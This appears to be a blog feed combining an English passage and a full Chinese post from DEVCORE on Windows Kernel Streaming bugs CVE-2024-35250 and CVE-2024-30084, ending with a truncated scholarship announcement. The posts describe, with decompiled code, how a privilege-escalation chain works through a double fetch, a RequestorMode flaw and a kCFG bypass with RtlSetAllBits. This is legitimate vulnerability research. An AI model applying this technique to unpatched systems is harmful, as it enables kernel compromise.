As a result, we now have a primitive that allows us to perform arbitrary IOCTL_KS_PROPERTY operations. Next, we need to look for places where it might be possible to achieve EoP (Elevation of Privilege).

The EoP

The first thing you will likely notice is the entry point ksthunk.sys.

Let’s take a look at ksthunk!CKSThunkDevice::DispatchIoctl.

__int64__fastcallCKSThunkDevice::DispatchIoctl(CKernelFilterDevice*a1,IRP*irp,unsignedinta3,NTSTATUS*a4){...if(IoIs32bitProcess(irp)&&irp->RequestorMode)//------[3]{//Convert 32-bit requests to 64-bit requests}elseif(CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode==IOCTL_KS_PROPERTY){returnCKSThunkDevice::CheckIrpForStackAdjustmentNative((__int64)a1,irp,v11,a4)//-----[4];}}

You can see that ksthunk will first determine whether the request is from a WoW64 Process. If it is, it will convert the original 32-bit Requests into 64-bit at [3]. If the original request is already 64-bit, it will call CKSThunkDevice::CheckIrpForStackAdjustmentNative at [4] to pass it down.

__int64__fastcallCKSThunkDevice::CheckIrpForStackAdjustmentNative(__int64a1,struct_IRP*irp,__int64a3,int*a4){...if(*(_OWORD*)&Type3InputBuffer->Set==*(_OWORD*)&KSPROPSETID_DrmAudioStream&&!type3inputbuf.Id&&(type3inputbuf.Flags&2)!=0)//-----[5]   {if(irp->RequestorMode)//-------[6]{v14=0xC0000010;}else{UserBuffer=(unsignedint*)irp->UserBuffer;...v14=(*(__int64(__fastcall**)(_QWORD,_QWORD,__int64*))(Type3InputBuffer+0x38))(// call Type3InputBuffer+0x38*UserBuffer,0LL,v19);//------------[7]}}}

We can notice that if we give the property set as KSPROPSETID_DrmAudioStream, there is additional processing at [5]. At [6], we can see that it first checks whether Irp->RequestorMode is KernelMode(0). If it is called from user, it will directly return an error.

It should be pretty obvious here that if we call IOCTL with KSPROPERTY_TYPE_UNSERIALIZESET and specify the KSPROPSETID_DrmAudioStream property, it will be KernelMode(0) here. Additionally, it will directly use the input provided by the user as a function call at [7]. Even the first parameter is controllable.

After writing the PoC, we confirmed our results.

Some people might wonder, under what device or situation would have KSPROPSETID_DrmAudioStream? Actually, most audio devices will have it, primarily used for setting DRM-related content.

Exploitation

Once arbitrary calls are achieved, accomplishing EoP is not too difficult. Although protections such as kCFG, kASLR, and SMEP will be encountered, the only protection that needs to be dealt with under Medium IL is kCFG.

  • kCFG
  • kASLR
    • NtQuerySystemInformation
  • SMEP
    • Reuse Kernel Code

Bypass kCFG

Our goal here is straightforward: to create an arbitrary write primitive from a legitimate function, which can then be used to achieve EoP through typical methods like replacing the current process token with system token or abusing the token privilege.

It is intuitive to look directly for legitimate functions with names containing set, as they are more likely to do arbitrary writing. We directly take the export functions from ntoskrnl.exe to see if there are any good gadgets, as these functions are generally legitimate.

We quickly found RtlSetAllBits.

It is a very useful gadget and a legitimate function in kCFG. Additionally, it only requires controlling the first parameter _RTL_BITMAP.

struct_RTL_BITMAP{ULONGSizeOfBitMap;ULONG*Buffer;};

We can assign the buffer to any address and specify the size, allowing us to set up a range of bits entirely. At this point, we are almost done. As long as Token->Privilege is fully set up, we can use the Abuse Privilege method to achieve EoP.

However, before the Pwn2Own event, we created a new Windows 11 23H2 VM on Hyper-V and ran the exploit. The result was a failure. It failed at the open device stage.

After investigation, we discovered that Hyper-V does not have an audio device by default, causing the exploit to fail.

In Hyper-V, only MSKSSRV is present by default. However, MSKSSRV does not have the KSPROPSETID_DrmAudioStream property, which prevents us from successfully exploiting this EoP vulnerability. Therefore, we must find other ways to trigger it or discover new vulnerabilities. We decided to review the entire process again to see if there were any other exploitable vulnerabilities.

CVE-2024-30084

After re-examining, it was found that IOCTL_KS_PROPERTY uses Neither I/O to transmit data, which means it uses the input buffer for data processing directly. Generally speaking, this method is not recommended as it often leads to double fetch issues.

From the above figure of KspPropertyHandler, we can see that after the user calls IOCTL, the Type3InputBuffer is directly copied into a newly allocated buffer, containing the KSPROPERTY structure. This GUID in the structure is then used to check if the property set exists in the device. If it does, it will proceed to call UnserializePropertySet.

Let’s take another look at UnserializePropertySet.

It once again copies the user-provided data from Type3InputBuffer as the input for the new IOCTL. Clearly, there exists a double fetch vulnerability here, so we have modified the entire process, as shown in the following diagram.

When we initially send IOCTL_KS_PROPERTY, we use the existing property KSPROPSETID_Service of MSKSSRV for subsequent operations. As shown in step 6 of the diagram, a copy of KSPROPERTY is first made into the SystemBuffer, and then this property is used to check whether it is in the support list of the KS object. Since MSKSSRV supports it, it will then call UnserializePropertySet.

After calling UnserializePropertySet, due to the double fetch vulnerability, we can change KSPROPSETID_Service with KSPROPSETID_DrmAudioStream between the check and use phases. Subsequently, KSPROPSETID_DrmAudioStream will be used as the request to send IOCTL, thereby triggering the CVE-2024-35250 mentioned above logic flaw. This makes the vulnerability exploitable in any environment.

Finally, we successfully compromised Microsoft Windows 11 during Pwn2Own Vancouver 2024.

After the Pwn2Own event, our investigation revealed that this vulnerability has existed since Windows 7 for nearly 20 years. Moreover, it is highly reliable and has a 100% success rate in exploitation. We strongly recommend that everyone update to the latest version as soon as possible.

To be continued

This article focuses on how we identified the vulnerabilities used in this year’s Pwn2Own and the attack surface analysis of Kernel Streaming. After discovering this vulnerability, we continued our research on this attack surface and found another exploitable vulnerability along with other interesting findings.

Stay tuned for Part II, expected to be published in October of this year.

Reference

Streaming vulnerabilities from Windows Kernel - Proxying to Kernel - Part I

$
0
0

English Version, 中文版本

在過去的幾十年中 Windows Kernel 的漏洞層出不窮,熱門的攻擊面逐漸從 Win32k 慢慢轉移到 CLFS (Common Log File System) 上。微軟也持續且積極地修補這些漏洞,使得這些元件越來越安全。而下一個熱門的目標會是哪個元件呢?去年開始,MSKSSRV (Microsoft Kernel Streaming Service) 成為駭客喜愛的目標之一。這個驅動程式小到可以在幾天內完成分析。這是否意味著可能不太會有新的漏洞了?

在這篇研究將講述一個長期被忽視的攻擊面,讓我們在兩個月內就找出了超過 10 個漏洞。此外,也將深入探討了一種 Proxy-Based 的邏輯漏洞類型,使我們可以忽略掉大多數的檢查,最終成功在 Pwn2Own Vancouver 2024 中,攻下 Windows 11 的項目。

這份研究將分成數個部分來撰寫,分別講述不同的漏洞類型及漏洞型態,亦發表於 HITCON CMT 2024中。

Start from MSKSSRV

對於一項漏洞研究來說,從歷史的漏洞看起,是不可或缺的。

起初,我們為了挑戰 Pwn2Own Vancouver 2024 中 Windows 11 的項目,開始從過去的 Pwn2Own 以及近期 in-the-wild 的漏洞中開始審視,尋找可能的攻擊面。沿著歷史軌跡可以得知,過去主要負責 GDI 相關操作的 Win32K 一直是個很熱門的目標,從 2018 年以來,CLFS (Common Log File System) 也漸漸成為了熱門目標之一。這兩個元件都非常複雜,並且直到現在仍然有不少新漏洞出現,但要熟悉這兩個元件需要花不少時間,同時也有許多研究員在看這兩個元件,所以最終我們沒有先選擇分析他們。

去年 Synacktiv在 Pwn2Own 2023 中,使用 MSKSSRV 的漏洞成功攻下 Windows 11 後,便有不少人往這個元件開始看起,短時間內就又出現了第二個漏洞 CVE-2023-36802,這時 chompie也發表了一篇非常詳細的文章,講述這個漏洞成因及其利用細節。由於這個元件非常的小,只看檔案大小約略只有 72 KB,可能認真看個幾天就可以全部看完,因此我們便挑了 MSKSSRV 來做歷史漏洞分析,看看是否有機會抓出其他漏洞。

接下來我們會提一下這兩個漏洞,但不會著墨過多。

CVE-2023-29360 - logical vulnerability

第一個是 Synacktiv 在 Pwn2Own 2023 中所使用的漏洞 :

這是一個邏輯上的漏洞。當 MSKSSRV 使用 MmProbeAndLockPages鎖定使用者給的記憶體位置作為 FrameBuffer 時,並沒有設置正確的 AccessMode,導致沒有檢查使用者指定的位置是否屬於 User space。如果使用者給的是 Kernel space 中的位置,它就會把指定的 Kernel 位置映射到 User space 給使用者用,最終導致使用者可以對 Kernel 中的任意位置寫入,利用上簡單且非常穩定,成為了受歡迎的漏洞之一

更多細節可以參考 Synacktiv 在 HITB 2023 HKT 的演講Nicolas Zilio(@Big5_sec)部落格文章

CVE-2023-36802 - type confusion

這個漏洞則是在 CVE-2023-29360 出來後沒多就被許多人發現,並且在微軟發佈更新時,就已經偵測到利用,是個非常容易被發現的漏洞。MSKSSRV 會先將內部使用的物件(FSContextReg、FSStreamReg)存放在 FILE_OBJECT的 FsContext2 中,然而後續使用時並沒有對 FsContext2 的型態做檢查,導致 type confusion,詳細內容可參考 IBM X-Force 的部落格

至此之後,就很少有關於 MSKSSRV 的相關漏洞了。

But is that the end of it ?

然而是否這樣就沒洞了呢?

而我要更準確地回答,No!

實際上整個 Kernel Streaming 就像下面這張圖這樣 :

MSKSSRV 只是冰山一角而已,實際上還有不少潛在的元件,上圖中所寫的都是屬於 Kernel Streaming 的一部分。實際往這方向挖掘之後,最終也在這個攻擊面上取得不少漏洞,就如同流水般的流出漏洞來。

順帶一提,我在寫這篇部落格時,chompie 也發表了有關於他在今年 Pwn2Own Vancouver 2024 中所使用的漏洞 CVE-2024-30089。這個漏洞也在 MSKSSRV 中,該漏洞發生在 Reference Count 的處理,其成因也很有趣,不過這邊就不多談,詳細內容可參考她發表的文章

Brief overview of Kernel Streaming

那麼,什麼是 Kernel Streaming 呢? 事實上,我們正常使用電腦情況下就會用到 :

在 Windows 系統上,當我們打開鏡頭、開啟音效以及麥克風等音訊設備時,系統需要從這些設備讀取你的聲音、影像等相關資料到 RAM 中。為了更高效地完成這些資料的傳輸,微軟提供了一個名為 Kernel Streaming的框架,用來處理這些資料。這個框架主要在 Kernel mode 下運行,具有低延遲、良好的擴充性和統一介面等特性,使你能更方便、更高效地處理串流(Stream)資料。

Kernel Streaming 中,提供了三種多媒體驅動模型:port class、AVStream 和 stream class。這裡將主要介紹 port class 和 AVStream,而 stream class 因為較為罕見且過時,不會多加討論。

Port Class

大多數用於 PCI 和 DMA 型音效裝置的硬體驅動程式,它處理與音訊相關的數據傳輸,例如音量控制、麥克風輸入等等,主要會使用到的元件函式庫會是 portcls.sys。

AVStream

AVStream 則是由微軟提供的多媒體類驅動程式,主要支援僅限影片的串流和整合音訊/影片串流,目前跟影像有關的處理多數都跟這類別有關,例如你的視訊鏡頭、擷取卡等等。

實際上 Kernel Streaming 的使用很複雜,因此這裡只會簡單的敘述一下,更多詳細內容可以參考微軟官方文件

Interact with device

在我們想要與音訊設備或是視訊鏡頭等設備互動時該怎麼做呢?其實就跟一般設備互動一樣,可以透過 CreateFile 函數來開啟一個設備。那麼這類型的設備,名稱又會是甚麼呢?其實這邊不太會像是 \Devcie\NamedPipe這類型的名稱,而是會像下面這樣的路徑 :

\\?\hdaudio#subfunc_01&ven_8086&dev_2812&nid_0001&subsys_00000000&rev_1000#6&2f1f346a&0&0002&0000001d#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\ehdmiouttopo

Enumerate device

每台電腦都可能不一樣,必須使用 SetupDiGetClassDevs等 API 去列舉設備,一般來說 KS 系列的設備都會註冊在 KSCATEGORY*底下,像是音訊設備就會註冊在 KSCATEGORY_AUDIO中。

你也可以使用 KS 所提供的 KsOpenDefaultDevice獲得該類別中第一個符合的 PnP 裝置的 Handle,實際上來說也只是 SetupDiGetClassDevs 和 CreateFile 的封裝而已。

hr=KsOpenDefaultDevice(KSCATEGORY_VIDEO_CAMERA,GENERIC_READ|GENERIC_WRITE,&g_hDevice)

Kernel Streaming object

我們在開啟這些設備之後,Kernel Streaming 會在 Kernel 中建立一些相關的 Instance,其中最為重要的就是 KS FiltersKS Pins。在 Kernel Streaming 的使用過程中,這些 Instance 會被頻繁使用,它們主要用來封裝設備的硬體功能,方便開發者透過統一的介面進行串流的處理。

這邊先以 Audio Filters作為例子,其他多數大同小異,我們也只會簡單介紹,其他細節請自行參考微軟官方文件。

KS filters

每個 KS Filter 通常代表一個設備或設備的特定功能,在我們打開一個音訊設備後,大部分情況下會對應到一個 Kernel Filter,當我們從音訊設備讀取資料時,這些資料就會先通過這個 KS Filter 進行處理。

概念上如下圖所示,中間的大框表示一個代表音訊設備的 KS filter。而我們想要從音訊設備中讀取資料時,會從左邊讀入 Filter,經過幾個節點進行處理後,從右邊輸出。

(From: https://learn.microsoft.com/en-us/windows-hardware/drivers/audio/audio-filters)

KS pins

上圖中,讀取及輸出資料的點稱為 Pin,Kernel 也有相對應的 KS Pin Object,用於描述這些 Pin 的行為,例如 Pin 是輸入端還是輸出端、支援的格式有哪些等。我們使用時必須在 Filters 上,開啟一個 Pin來建立 Instance,才能從設備讀取或輸出資料。

KS Property

這些 KS Object 都會有自己的 Property,每個 Property 都會有相對應的功能,前面所提到的 Pin 中的資料格式、音量大小及設備的狀態等等,這些都是一個 Property,通常會對應到一組 GUID,我們可以透過 IOCTL_KS_PROPERTY來讀取或設定這些 Property。

這大大簡化了多媒體驅動程式的開發,並且確保了不同設備之間的一致性和可擴展性。

Read streams from webcam

這邊就用個簡單的範例來介紹一下 Application 如何從視訊鏡頭讀取資料

其最簡單的流程大概如這張圖所示 :

  1. 開啟設備後獲得設備 Handle
  2. 使用這個 Handle 在這個 Filter 上建立 Pin 的 Instance 並獲得 Pin handle
  3. 使用 IOCTL_KS_PROPERTY 設置 Pin 的狀態到 RUN
  4. 最後就可以使用 IOCTL_KS_READ_STREAM從這個 Pin 中讀資料進來

Kernel Streaming architecture

對漏洞研究而言,我們必須先了解其架構,思考有哪些可能的攻擊面

在初步了解 Kernel Streaming 有哪些功能和操作後,為了找尋漏洞必須先了解一下架構,了解 Windows 是怎麼實作這些功能、分別有哪些元件等等,才知道應該要分析哪些 sys,從哪邊下手會比較好。

經過我們分析後,整個架構約略會像這張圖所示 :

在 Kernel Stearming 元件中,最為核心的就是 ksthunk.sys 及 ks.sys,幾乎所有功能都會與它們有關。

ksthunk (Kernel Streaming WOW Thunk Service Driver)

Application 呼叫 DeviceIoControl 後,在 Kernel Streaming 中的入口點,但它功能很簡單,負責將 WoW64 process 中 32-bit 的 requests 轉換成 64-bit 的 requests,使得下層的 driver 就可以不必為 32 位元的結構另外處理。

ks (Kernel Connection and Streaming Architecture Library)

Kernel Streaming 的核心元件之一,它是 Kernel Streaming 的函示庫,負責及轉發 IOCTL_KS_PROPERTY 等 requests 到對應設備的 driver 中,同時也會負責處理 AVStream 的相關功能。

The work flow of IOCTL_KS_*

而在呼叫 DeviceIoControl 時,就會像下圖一樣,將使用者的 requests 依序給相對應的 driver 來處理

而到第 6 步時 ks.sys 就會根據你 requests 的 Property來決定要交給哪個 driver 及 handler 來處理你的 request。

最終再轉發給相對應的 Driver,如上圖中最後轉發給 portcls 中的 handler 來操作音訊設備。

到這邊應該對 Kernel Streaming 的架構及流程有初步概念了,接下來就是找洞的時刻。依照現有的元素來看,哪些是值得一看的攻擊面呢?

From attacker’s view

在挖掘漏洞前,如果能仔細思考怎樣的情況下容易有洞,可以達到事半功倍的效果

從一個漏洞研究員的角度來說,大概會有下列這幾個點

  1. 每個設備中的 Property handler 每個設備中的 KS Object 都有各自的 Property,而且每個 Property 都有各自的實作,有些 Property 處理起來容易出問題。

  2. ks 及 ksthunk ks 及 ksthunk 已經有很長一段時間沒有漏洞,但卻是個最容易接觸到的入口點,也許是一個好目標,上一次出現的漏洞是在 2020 年 @nghiadt1098所找到的兩個漏洞 CVE-2020-16889CVE-2020-17045

  3. 每個 driver 都各自處理一部分的內容 在 Kernel Streaming 的部分功能中,有些 driver 會各自先處理部分的內容,可能會造成一些不一致性的問題。

我們針對上面幾個角度去對整個 Kernel Streaming 做 Code Review 後,很快的就發現了幾個比較容易發現的漏洞

  • portcls.sys
    • CVE-2024-38055 (out-of-bounds read when set dataformat for Pin)
    • CVE-2024-38056
  • ksthunk
    • CVE-2024-38054 (out-of-bounds write)
    • CVE-2024-38057

不過我們這一篇不會一一講解這些漏洞,這幾個多數都是沒有檢查長度或是 index 之類的越界存取等等明顯的洞,也許會在後續的部分慢慢來講解,@Fr0st1706也在前陣子寫出了 CVE-2024-38054 的利用,這邊就暫時留給讀者研究了。

這篇要提的是,我們在 Review 過程中發現了一些有趣的事情。

你覺得下面這段程式碼是否安全呢?

__int64 __fastcall CKSThunkDevice::CheckIrpForStackAdjustmentNative(__int64 a1, struct _IRP *irp, __int64 a3, int *a4)
{

    if ( irp->RequestorMode )
    {
        v14 = 0xC0000010;
    }
    else
    {
        UserBuffer = (unsigned int *)irp->UserBuffer;
        ...
        v14 = (*(__int64 (__fastcall **)(_QWORD, _QWORD, __int64 *))    (Type3InputBuffer + 0x38))(// call Type3InputBuffer+0x38
                *UserBuffer,
                0LL,
               v19);
    }
}

看到這段程式碼讓我想起了 CVE-2024-21338,該漏洞原先並沒有任何檢查,而在修補後則是新增了 ExGetPreviousMode,但這邊檢查則是使用了 IRP中的 RequestorMode 來做檢查,不過一般情況下從使用者呼叫的 IOCTL 的 RequestorMode 都會是 UserMode(1) 是不會有問題的。

此時我又想起來 James ForshawWindows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager這篇文章。

The overlooked bug class

這邊我們必須先來提一下幾個名詞跟概念,不過如果你對 PreviousMode 及 RequestorMode 很熟悉,可以跳至 A logical bug class

PreviousMode

第一個是 PreviousMode,在 Application 中如果使用者透過 Nt* 等 System Service Call 來對設備或檔案中操作時,進入 Kernel 後就會在 _ETHREAD中的 PreviousMode 標註 UserMode(1) 表示這個 System Service Call 是來自 User mode 的 Application。如果你是從 Kernel mode 中,例如設備 driver 呼叫 Zw* System Service Call 的 API 就會標記成 KernelMode(0)。

RequestorMode

另外一個類似的則是 IRP 中的 RequestorMode 這邊就是記錄你原始的 requests 是來自 UserMode 還是 KernelMode,在 Kernel driver 中的程式碼是非常常用到的欄位,通常會來自 PreviousMode。

很常被用來決定是否要對來自使用者的 requests 做額外檢查,像是 Memory Access Check 或是 Security Access Check,例如下面這個例子中,如果 requests 來自 UserMode 就會檢查使用者提供的位置,如果是從 Kernel 來的,就不做額外檢查增加效率。

但實際上這也出現了一些問題…

A logical bug class

James ForshawWindows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager中,就提到了一種 Bug Class

這邊可以先想想看,使用者呼叫 NtDeviceIoControlFile 之類的 System Service Call 之後,如果處理的 driver 又去用使用者可控的資料來作為 ZwOpenFile 的參數,會發生什麼事

在 driver 呼叫 ZwOpenFile 之後, PreviousMode 會轉換成為 KernelMode,並且在 NtOpenFile 處理時,就會因為 PreviousMode 是 KernelMode的關係少掉大部分的檢查,而後續的 Irp->RequestorMode也會因此變成 KernelMode,從而繞過 Security Access Check 及 Memory Access Check。不過這邊很看後續處理的 driver 怎麼去實作這些檢查,如果只依賴 RequestorMode 來決定要不要檢查,就可能會有問題。這邊省略了一些細節,實際上的狀況會稍微再複雜一點點,也會跟 CreateFile 的 flag 有關,細節可參考下列幾篇文章 :

這邊有這樣的概念就好,原先這些研究主要是在 Zw* 系列的 System Service Call 上面,大家可以思考一下,有沒有其他類似的情況,也可能造成這種邏輯漏洞呢?

The new bug pattern

事實上來說是有的,使用 IoBuildDeviceIoControlRequest這個方法去創建一個 DeviceIoControl 的 IRP 時,萬一沒注意到也很容易有這樣的問題。這個 API 主要是 Kernel driver 用來呼叫 IOCTL 的其中一種方法,它會幫你建好 IRP,而後續在去呼叫 IofCallDriver,就可以在 Kernel driver 中呼叫 IOCTL。在 Microsoft Learn中,有一段話特別值得注意 :

也就是預設情況下,如果你沒有特別去設置 RequestorMode 就會直接以 KernelMode 形式去呼叫 IOCTL。

按照這個思路,我們重新回頭審視一下我們的目標 Kernel Streaming,我們發現了一個吸引我們的地方。

在 Kernel Streaming 中使用這個 IoBuildDeviceIoControlRequest 地方是在 ks!KsSynchronousIoControlDevice,而主要內容明顯就是在用剛剛提到的方法,在 Kernel 中呼叫 DeviceIoControl,不過這邊看似有好好的設置 Irp->RequestorMode,且會根據 KsSynchronousIoControlDevice 參數不同而去設置不同的數值,對於開發者來說會是一個方便的函式庫。

然而…

ks!CKsPin::GetState

ks!SerializePropertySet

ks!UnserializePropertySet

我們發現到在 Kernel Streaming 中,全部有使用到 KsSynchronousIoControlDevice的地方都是固定的使用 KernelMode(0),到這邊就可以仔細的檢查看看,有用到的地方是否有安全上的問題了。因此我們將 Kernel Streaming 中的 bug pattern 轉換成下列幾點:

  1. 有使用 KsSynchronousIoControlDevice
  2. 有可控的
    • InputBuffer
    • OutputBuffer
  3. 第二次處理 IOCTL 的地方有依賴 RequestorMode 做安全檢查,並且有可以作為提權利用的地方。

按照這個 Pattern 我們很快地就找到了第一個洞

The vulnerability & exploitation

CVE-2024-35250

這個漏洞也是我們今年在 Pwn2Own Vancouver 2024 中所使用的漏洞。在 Kernel Streaming 的 IOCTL_KS_PROPERTY 功能中,為了讓效率增加,提供了 KSPROPERTY_TYPE_SERIALIZESETKSPROPERTY_TYPE_UNSERIALIZESET功能允許使用者透過單一呼叫與多個 Property 進行操作。當我們用這功能時,這些 requests 將被 KsPropertyHandler 函數分解成多個呼叫,詳情可參考這篇

該功能實作在 ks.sys 中

上圖中可以看到,在 ks 處理 Property 時,如果有給上述的 flag 就會由 UnserializePropertySet 來處理你的 request

我們這邊就先來看一下 UnserializePropertySet

unsigned__int64__fastcallUnserializePropertySet(PIRPirp,KSIDENTIFIER*UserProvideProperty,KSPROPERTY_SET*propertyset_){...New_KsProperty_req=ExAllocatePoolWithTag(NonPagedPoolNx,InSize,0x7070534Bu);...memmove(New_KsProperty_req,CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer,InSize);//------[1] ...status=KsSynchronousIoControlDevice(CurrentStackLocation->FileObject,0,CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode,New_KsProperty_req,InSize,OutBuffer,OutSize,&BytesReturned);//-----------[2]...}

可看到在處理過程中會先將原始的 request,複製到新分配出來的 Buffer 中 [1],而後續就會使用這個 Buffer 來使用 KsSynchronousIoControlDevice 呼叫新的 IOCTL [2]。其中 New_KsProperty_reqOutBuffer都是使用者所傳入的內容。

而呼叫 UnserializePropertySet 時的流程,大概如下圖所示 :

這邊呼叫 IOCTL 時可以看到圖中第 2 步 I/O Manager 會將 Irp->RequestorMode設成 UserMode(1),直到第 6 步時,ks 會去判斷使用者 requests 的 Property 是否存在於該 KS Object 中,如果該 KS Object 的 Property 存在,並且有設置 KSPROPERTY_TYPE_UNSERIALIZESET就會用 UnserializePropertySet來處理指定的 Property

而接下來第 7 步就會呼叫 KsSynchronousIoControlDevice 重新做一次 IOCTL,而此時新的 Irp->RequestorMode就變成了 KernelMode(0) 了,而後續的處理就如一般的 IOCTL_KS_PROPERTY 相同,就不另外詳述了,總之我們到這裡已經有個可以任意做 IOCTL_KS_PROPERTY 的 primitive 了,接下來我們必須尋找看看是否有可以 EoP 的地方。

The EoP

最先看到的想必就是入口點 ksthunk,我們這邊可以直接來看 ksthunk!CKSThunkDevice::DispatchIoctl

__int64__fastcallCKSThunkDevice::DispatchIoctl(CKernelFilterDevice*a1,IRP*irp,unsignedinta3,NTSTATUS*a4){...if(IoIs32bitProcess(irp)&&irp->RequestorMode)//------[3]{//Convert 32-bit requests to 64-bit requests}elseif(CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode==IOCTL_KS_PROPERTY){returnCKSThunkDevice::CheckIrpForStackAdjustmentNative((__int64)a1,irp,v11,a4)//-----[4];}}

ksthunk 會先判斷是否是 WoW64 的 Process 的 request,如果是就會將原本 32-bit 的 requests 轉換成 64-bit 的 [3],如果原本就是 64-bit 則會呼叫 CKSThunkDevice::CheckIrpForStackAdjustmentNative [4] 往下傳遞

__int64__fastcallCKSThunkDevice::CheckIrpForStackAdjustmentNative(__int64a1,struct_IRP*irp,__int64a3,int*a4){...if(*(_OWORD*)&Type3InputBuffer->Set==*(_OWORD*)&KSPROPSETID_DrmAudioStream&&!type3inputbuf.Id&&(type3inputbuf.Flags&2)!=0)//-----[5]   {if(irp->RequestorMode)//-------[6]{v14=0xC0000010;}else{UserBuffer=(unsignedint*)irp->UserBuffer;...v14=(*(__int64(__fastcall**)(_QWORD,_QWORD,__int64*))(Type3InputBuffer+0x38))(// call Type3InputBuffer+0x38*UserBuffer,0LL,v19);//------------[7]}}}

我們在 [5] 看到,如果我們給定的 Property Set 是 KSPROPSETID_DrmAudioStream,就有特別的處理。而在 [6] 時,會先去判斷 Irp->RequestorMode 是否為 KernelMode(0),如果從 UserMode(1) 呼叫的 IOCTL 就會直接返回錯誤,但如果我們使用前面所說的 KSPROPERTY_TYPE_UNSERIALIZESET來呼叫 IOCTL,並指定 KSPROPSETID_DrmAudioStream這個 Property,那麼這裡 [6] 就會是 KerenlMode(0)。接下來就會在 [7] 直接使用使用者所傳入的內容做為 function 呼叫,甚至第一個參數是可控的,實際寫 PoC 後,驗證了我們的結果。

這邊可能會有人有疑惑,什麼設備或是情況下會有 KSPROPSETID_DrmAudioStream?實際上來說音訊設備大多情況下都會有,主要是用來設置 DRM 相關內容用的。

Exploitation

在有了任意呼叫之後,要達成 EoP 就不是太大的問題,雖然會遇到 kCFG、kASLR、SMEP 等等保護,但在 Medium IL 下唯一比較需要處理的就只有 kCFG。

  • kCFG
  • kASLR
    • NtQuerySystemInformation
  • SMEP
    • Reuse Kernel Code

Bypass kCFG

那我們目標很簡單,就是從合法的 function 做出任意寫的 primitive,而之後就可以利用常見的方法用 System token 取代當前的 Process token或是 Abuse token privilege去做到 EoP。

直覺地會直接去找看看,kCFG 中合法的 function 名稱有 set 的 function,比較可能是可以寫入的。我們這裡是直接拿 ntoskrnl.exe 中 export fucntion 去尋找看看是否有合法的 function,這些大多情況下都是合法的。

而很快的我們就找到了 RtlSetAllBits

它是個非常好用的 gadget 而且是 kCFG 中合法的 function,另外也只要控制一個參數 _RTL_BITMAP

struct_RTL_BITMAP{ULONGSizeOfBitMap;ULONG*Buffer;};

我們可將 Buffer 指定到任意位置並指定大小,就可以將一段範圍的 bits 全部設置起來,到這邊就差不多結束了,只要 將 Token->Privilege全部設置起來,就可以利用 Abuse Privilege 方法來做到 EoP 了。

然而…在 Pwn2Own 比賽前,我們在 Hyper-V 上安裝一個全新 Windows 11 23H2 VM 測試 Exploit,結果失敗了。 而且是在開啟設備階段就失敗。

經過調查後發現到 Hyper-V 在預設情況下並不會有音訊設備,造成 exploit 會失敗。

在 Hyper-V 中,預設情況下只會有 MSKSSRV,然而 MSKSSRV 也沒有 KSPROPSETID_DrmAudioStream 這個 Property,使得我們無法成功利用這個漏洞達成 EoP,因此我們必須找其他方式觸發或者找新的漏洞,此時我們決定重新 Review 一遍整個流程,看看是否還有其他可能利用的地方。

CVE-2024-30084

重新審視後,發現到 IOCTL_KS_PROPERTY 是使用 Neither I/O來傳遞資料的,也就是說會直接拿使用者的 Input buffer 來做資料上的處理,一般來說不太建議使用這個方法,很常出現 Double Fetch 的問題。

我們可從上圖中 KspPropertyHandler 看到,在使用者呼叫 IOCTL 之後,會直接將 Type3InputBuffer 複製到新分配出來的 Buffer 中,其中會存有 KSPROPERTY結構,接下來會用這結構中的 GUID 來查詢 Property 是否有在該設備所支援的 Property 中,若存在才會繼續往下呼叫 UnserializePropertySet

這邊我們再回頭看一眼 UnserializePropertySet

我們可以發現到,它又再次從 Type3InputBuffer 複製使用者所提供的資料做為新的 IOCTL 的輸入,很明顯的這邊就存在了一個 Double Fetch 的漏洞,因此我們將整個利用流程改成下圖的樣子

我們一開始發送 IOCTL_KS_PROPERTY 時,就會先以 MSKSSRV 既有的 Property KSPROPSETID_Service來做後續操作,而在圖中第 6 步時,會先複製一份 Property 的 GUID 到 Kernel 中,而後再用這個 Property GUID 去查詢是否有在該 KS Object 的支援清單中,而這邊因為 MSKSSRV 有支援,就會往下呼叫 UnserializePropertySet

在呼叫 UnserializePropertySet 後,因為有 Double Fetch 的漏洞,讓我們可以在檢查後到使用之間,將 KSPROPSETID_Service換成 KSPROPSETID_DrmAudioStream,而接下來就可以讓 ks 使用 KSPROPSETID_DrmAudioStream作為 requests 來發送 IOCTL,從而觸發前述了 CVE-2024-35250 邏輯漏洞,使這個漏洞不論在甚麼環境下都可以使用。

最終我們成功在 Pwn2Own Vancouver 2024 中,成功攻下 Micorsoft Windows 11。

在 Pwn2Own 結束後,經過我們調查,發現到這個漏洞從 Windows 7 就存在了,至少存在將近 20 年,而且利用上非常穩定,有著百分之百的成功率,強烈建議大家盡速更新至最新版本 。

To be continued

這篇主要著重在我們如何找到今年在 Pwn2Own 中所使用的漏洞及 Kernel Streaming 的攻擊面分析。在找到這個洞之後,我們後續也持續朝這個方向繼續研究,也發現了另外一個也是 Exploitable 的漏洞以及其他更多有趣的漏洞,我們預計在今年十月發表,敬請期待 Part II。

Reference

DEVCORE 2024 全國資訊安全獎學金、資安教育活動贊助計畫即日起開放報名

$
0
0

繼輔仁大學及國立臺灣科技大學戴夫寇爾資訊安全獎學金頒布後,我們很高興地宣佈,2024 年度「全國資訊安全獎學金」及「資安教育活動贊助計畫」於即日起開放報名。

自 2012 年創立之初,DEVCORE 即秉持著提升台灣資安競爭力、讓世界更安全的初衷,將人才培育視為己任,透過參與教育部資安人才培育計畫、創辦 DEVCORE 實習生計畫、啟動戴夫寇爾資安獎學金、辦理資安教育活動贊助計畫等方式,協助資安人才茁壯成長。

DEVCORE 全國資訊安全獎學金

DEVCORE 於 2020 年首次舉辦「戴夫寇爾資安獎學金計畫」,原為感念過去學生時代受到的多方資源及鼓勵,獎學金頒發範圍為經營團隊母校的輔仁大學及國立臺灣科技大學,後為培育更多有志青年學子,擴大獎學金範圍,開放全國各地學生報名申請,期待能推廣「駭客思維」、強化資安技能,並幫助在學學生了解資安產業生態及現況、降低學用落差,未來成為新一代的攻擊型資安人才,為資安產業注入新活力。

「戴夫寇爾全國資訊安全獎學金」歡迎所有在資訊安全領域有出眾研究成果的學生報名申請,有意申請者須提出學習資安的動機與歷程,並繳交資安研究或比賽成果,我們將從中擇優選取 10 名,獲選者可獲最高 2 萬元的研究補助。詳細申請辦法如下:

